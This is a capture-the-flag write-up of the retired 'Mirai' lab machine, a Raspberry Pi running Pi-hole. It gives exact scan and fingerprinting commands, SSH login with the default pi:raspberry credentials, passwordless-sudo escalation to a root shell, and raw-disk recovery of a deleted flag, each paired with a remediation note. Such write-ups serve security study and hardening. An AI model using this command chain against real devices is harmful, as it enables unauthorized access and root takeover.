Mirai
Summary
Target mirai ($TARGET) — a Raspberry Pi running Pi-hole DNS filtering software — was fully compromised in minutes without exploiting any software vulnerability. An HTTP response header fingerprinted the device as a Pi-hole appliance, and an unauthenticated version endpoint confirmed the exact software build, identifying the underlying platform as a Raspberry Pi running Raspbian. I tried the publicly documented factory-default SSH credentials (pi:raspberry) and was granted an interactive shell immediately.
The built-in pi account carried an unrestricted, passwordless sudo grant, so root access required a single command. The root flag had been removed from its standard location and stored on an attached USB stick whose filesystem was deleted; my read it directly from raw block-device sectors using standard Linux tools, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV -p 22,53,80,1029,32400,32469 $TARGETExact commands 2
curl -s -i http://$TARGET/curl -s http://$TARGET/versionsFixRemove the unauthenticated Pi-hole version-disclosure endpoint and restrict web interface accessMedium
Exact commands 2
nxc ssh $TARGET -u pi -p raspberrysshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGETFixReplace the Raspberry Pi factory-default SSH credentials immediatelyCritical
Exact commands 2
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'find / -name user.txt -type f 2>/dev/null'sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'cat /home/pi/Desktop/user.txt'Exact commands 2
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n id'sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n bash -i'FixRemove unrestricted passwordless sudo from the pi accountCritical
Exact commands 2
sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n lsblk'sshpass -p 'raspberry' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null pi@$TARGET 'sudo -n strings /dev/sdb | grep -E "^[a-f0-9]{32}$"'Exposed services
| 22/tcp | ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0) |
| 53/tcp | domain dnsmasq 2.76 |
| 80/tcp | http lighttpd 1.4.35 |
| 1029/tcp | upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50) |
| 32400/tcp | http Plex Media Server httpd |
| 32469/tcp | upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50) |